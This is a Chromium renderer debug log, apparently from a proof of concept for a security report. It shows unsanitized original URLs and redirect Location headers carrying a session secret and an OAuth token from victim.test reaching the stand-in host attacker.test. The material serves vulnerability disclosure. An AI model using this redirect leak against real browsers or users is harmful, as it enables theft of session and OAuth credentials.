[1181:1:0410/095827.130215:ERROR:content/renderer/navigation_client.cc:89] POC ===== Renderer received CommitNavigation ===== [1181:1:0410/095827.130677:ERROR:content/renderer/navigation_client.cc:90] POC committing URL: http://attacker.test:8080/done.html [1181:1:0410/095827.131006:ERROR:content/renderer/navigation_client.cc:91] POC commit_params->original_url (UNSANITIZED): http://attacker.test:8080/start?session=SESSION_SECRET_xyz789 [1181:1:0410/095827.131238:ERROR:content/renderer/navigation_client.cc:94] POC redirects[0] (sanitized): http://attacker.test:8080/ [1181:1:0410/095827.131404:ERROR:content/renderer/navigation_client.cc:94] POC redirects[1] (sanitized): http://victim.test:8080/ [1181:1:0410/095827.131545:ERROR:content/renderer/navigation_client.cc:98] POC redirect_infos[0].new_url (sanitized): http://victim.test:8080/ [1181:1:0410/095827.131705:ERROR:content/renderer/navigation_client.cc:98] POC redirect_infos[1].new_url (sanitized): http://attacker.test:8080/done.html [1181:1:0410/095827.131836:ERROR:content/renderer/navigation_client.cc:106] POC redirect_response[0] Location header (UNSANITIZED LEAK): http://victim.test:8080/oauth?token=SECRET_OAUTH_TOKEN_abc123 [1181:1:0410/095827.131984:ERROR:content/renderer/navigation_client.cc:106] POC redirect_response[1] Location header (UNSANITIZED LEAK): http://attacker.test:8080/done.html [1181:1:0410/095827.132172:ERROR:content/renderer/navigation_client.cc:111] POC ===============================================